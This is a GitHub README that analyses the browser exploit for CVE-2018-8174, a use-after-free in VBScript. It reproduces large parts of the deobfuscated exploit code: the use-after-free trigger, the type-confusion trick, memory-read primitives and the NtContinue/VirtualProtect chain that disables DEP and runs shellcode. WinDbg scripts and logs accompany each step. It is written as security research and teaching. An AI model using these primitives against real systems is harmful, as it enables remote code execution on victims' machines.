Skip to content

piotrflorczyk/cve-2018-8174_analysis

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Dissecting modern browser exploit: case study of CVE-2018-8174

Overview

When this exploit first emerged in the turn of April and May it spiked my interest, since despite heavy obfuscation, the code structure seemed well organized and the vulnerability exploitation code small enough to make analysis simpler. I downloaded POC from github and decided it would be a good candidate for taking a look at under the hood. At that time two analyses were already published, first from 360 and second from Kaspersky. Both of them helped me understand how it worked, but were not enough to deeply understand every aspect of the exploit. That's why I've decided to analyze it on my own and share my findings.

Preprocessing

First in order to remove integer obfuscation I used regex substitution in python script:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

As to obfuscated names, I renamed them progressively during analysis. This analysis is best to be read with source code to which link is at the end.

Use after free

Vulnerability occurs, when object is terminated and custom defined function Class_Terminate() is called. In this function reference to the object being freed is saved in UafArray. From now on UafArray(i) refers to the deleted object.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Also notice the last line in Class_Terminate(). When we copy ClassTerminate object to UafArray its reference counter is increased. To balance it out we free it again by assigning other value to FreedObjectArray. Without this, object's memory wouldn't be freed despite calling Class_Terminate on it and next object wouldn't be allocated in its place.

VBScriptClass::Release method

Creating and deleting new objects is repeated 7 times in a loop, after that a new object of class ReuseClass is created. It's allocated in the same memory that was previously occupied by the 7 ClassTerminate instances. To better understand that, here is a simple WinDbg script that tracks all those allocations:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Here is allocation log from UafTrigger function:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

We can immediately see that ReuseClass is indeed allocated in the same memory that was assigned to 7 previous instances of ClassTerminate This is repeated twice. We end up with two objects referenced by UafArrays. None of those references is reflected in object's reference counter. In this log we can also notice that even after Class_Terminate was called there are some object manipulations that change its reference counter. That's why if we didn't balance this counter out in Class_Terminate we would get something like this:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Different allocation addresses. Exploit would fail to create use after free condition.

Type Confusion

Having created those two objects with 7 uncounted references to each, we established read arbitrary memory primitive. There are two similar classes ReuseClass and FakeReuseClass. By replacing first class with second one a type confusion on mem member occurs.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

In SetProp function ReuseClass.mem is saved and Default Property Get of class ReplacingClass_* is called, result of that call will be placed in ReuseClass.mem.

Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

Inside that getter UafArray is emptied by assigning 0 to each element. This causes VBScriptClass::Release to be called on ReuseClass object that is referenced by UafArray. It turns out that at this stage of execution ReuseClass object has reference counter equal to 7, and since we call Release 7 times, this object gets freed. And because those references came from use after free situation they are not accounted for in reference counter. In place of ReuseClass a new object of FakeReuseClass is allocated. Now to get its reference counter equal to 7, as was the case with ReuseClass we assign it 7 times to UafArray. Here is memory layout before and after this operation.

Replacing ReuseClass with FakeReuseClass

Diagram for VBScript objects

After this is done the getter function will return a value that will be assigned to the old ReuseClass::mem variable. As can be seen on memory dumps, old value was placed 0xC bytes before the new one. Objects were specially crafted to cause this situation, for example by selecting proper length for function names. Now value written to ReuseClass::mem will overwrite FakeReuseClass::mem header, causing type confusion situation.

Type confusion on mem member

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

Last line assigned string FakeArrayString to objectImitatingArray.mem. Header now has value of VT_BSTR

Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

This value overwrote objectImitatingArray.mem type to VT_ARRAY | VT_VARIANT and now pointer to string will be interpreted as pointer to SAFEARRAY structure.

Arbitrary memory read

The result is that we end up with two objects of FakeReuseClass. One of them has a mem member array that is addressing whole user-space (0x00000000 - 0x7fffffff) and the other has a member of type VT_I4 (4 byte integer) with pointer to an empty 16 byte string. Using the second object, a pointer to string is leaked:

some_memory=resueObjectB_int.mem

It will be later used as an address in memory that is writable. Next step is to leak any address inside vbscript.dll. Here a very neat trick is used.

Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

First we define that on error, script should just continue regular execution. Then there is an attempt to assign EmptySub to a variable. This is not possible in VBS but still a value is pushed on the stack before error is generated. Next instruction should assign null to a variable, which it does, by simply changing type of last value from the stack to VT_NULL. Now emptySub_addr_placeholder holds pointer to the function but with type set to VT_NULL.

Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

Then this value is written to our writable memory, its type is changed to VT_I4 and it is read back as integer. If we check the content of this value it turns out to be a pointer to CScriptEntryPoint and first member is vftable pointing inside vbscript.dll

Leaking vbscript.dll address

To read a value from arbitrary address, in this case pointer returned from LeakVBAddr, the following functions are used:

Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

Read is acheived by first writing address+4 to a writable memory, then type is changed to VT_BSTR. Now address+4 is treated as a pointer to BSTR. If we call LenB on address+4 it will return value pointed to by address. Why? Because of how BSTR is defined, unicode value is preceded by its length, and that length is returned by LenB.

LenB implementation

Now when address inside vbscript.dll was leaked, and having established arbitrary memory read it is a matter of properly traversing PE header to obtains all needed addresses.

vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

Details of doing that won't be explained here. This article explains PE file in great details.

Triggering code execution

Final code execution is achived in two steps. First a chain of two calls is built, but it's not a ROP chain. NtContinue is provided with CONTEXT structure that sets EIP to VirtualProtect address, and ESP to structure containing VirtualProtect's parameters.

Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

First address of shellcode is obtained using previously described technique of changing variable type to VT_I4 and reading the pointer. Next a structure for VirtualProtect is built, that contains all necessary parameters, like shellcode address, size and RWX protections. It also has space that will be used by stack operations inside VirtualProtect. After that a CONTEXT structure is built, with EIP set to VirtualProtect and ESP to its parameters. This structure also has as first value a pointer to NtContinue address repeated 4 times. Final step before starting this chain is to save the structure as string in memory.

Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

This function is then used to start the chain. First it changes type of the saved structure to 0x4D and then sets its value to 0, this causes VAR::Clear to be called.

Code execution

And a dynamic view from debugger

Code execution

Although it might seem complicated this chain of execution is very simple. Just two steps. Invoke NtContinue with CONTEXT structure pointing to VirtualProtect. Then VirtualProtect will disable DEP on memory page that contains the shellcode and after that it will return into the shellcode.

Conclusion

CVE-2018-8174 is a good example of chaining few use after free and type confusion conditions to achieve code execution in very clever way. It's a great example to learn from and understand inner workings of such exploits.

Useful links

Commented exploit code

Kaspersky's root cause analysis

360's analysis

Another Kaspersky's anlysis

CVE-2014-6332 analysis by Trend Micro

About

Analysis of VBS exploit CVE-2018-8174

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published